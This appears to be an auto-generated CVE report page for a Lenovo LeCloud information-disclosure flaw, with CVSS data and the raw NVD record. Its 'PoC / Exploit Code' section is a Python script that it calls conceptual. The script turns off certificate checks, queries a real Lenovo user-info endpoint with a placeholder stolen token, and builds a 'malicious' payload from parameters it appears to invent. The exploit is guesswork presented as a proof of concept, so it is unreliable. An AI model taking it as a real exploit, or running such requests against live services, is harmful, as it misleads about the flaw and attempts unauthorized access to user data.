Security Vulnerability Report
中文
CVE-2025-10699 CVSS 5.3 MEDIUM

CVE-2025-10699

Published: 2025-10-15 15:16:03
Last Modified: 2026-04-15 00:35:42

Description

A vulnerability was reported in the Lenovo LeCloud client application that, under certain conditions, could allow information disclosure.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Lenovo LeCloud 客户端应用程序(具体受影响版本待官方确认)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-10699 - Lenovo LeCloud Information Disclosure PoC # Note: This is a conceptual PoC based on vulnerability description # The actual exploitation requires specific conditions and user interaction import requests import ssl import socket from urllib.parse import urlparse TARGET_HOST = "lecloud.lenovo.com" TARGET_PORT = 443 def intercept_client_request(): """ Simulate intercepting Lenovo LeCloud client communication to demonstrate potential information disclosure. """ # Create SSL context that doesn't verify certificates (MITM scenario) context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE try: # Attempt to connect to LeCloud service with socket.create_connection((TARGET_HOST, TARGET_PORT), timeout=10) as sock: with context.wrap_socket(sock, server_hostname=TARGET_HOST) as ssock: # Craft a malicious request that may trigger info disclosure # when user interacts with the client application request = ( "GET /api/v1/user/info HTTP/1.1\r\n" f"Host: {TARGET_HOST}\r\n" "User-Agent: LenovoLeCloud/1.0\r\n" "Authorization: Bearer <stolen_or_manipulated_token>\r\n" "\r\n" ) ssock.send(request.encode()) response = ssock.recv(4096) print(f"[*] Response received: {response.decode(errors='ignore')}") return response except Exception as e: print(f"[!] Error: {e}") return None def craft_malicious_payload(): """ Craft a payload designed to trigger the vulnerability when the LeCloud client processes it. """ payload = { "action": "sync_metadata", "params": { "path": "/", "recursive": True, # Malicious parameters that may cause info disclosure "debug_mode": True, "include_internal": True } } return payload if __name__ == "__main__": print("[*] CVE-2025-10699 PoC - Lenovo LeCloud Information Disclosure") print("[*] Note: Requires user interaction and specific conditions") print("[*] Attempting to demonstrate vulnerability concept...") # intercept_client_request() # Uncomment in authorized testing payload = craft_malicious_payload() print(f"[*] Crafted payload: {payload}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10699", "sourceIdentifier": "[email protected]", "published": "2025-10-15T15:16:03.340", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "A vulnerability was reported in the Lenovo LeCloud client application that, under certain conditions, could allow information disclosure."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-295"}]}], "references": [{"url": "https://iknow.lenovo.com.cn/detail/432379", "source": "[email protected]"}, {"url": "https://lecloud.lenovo.com/index", "source": "[email protected]"}]}}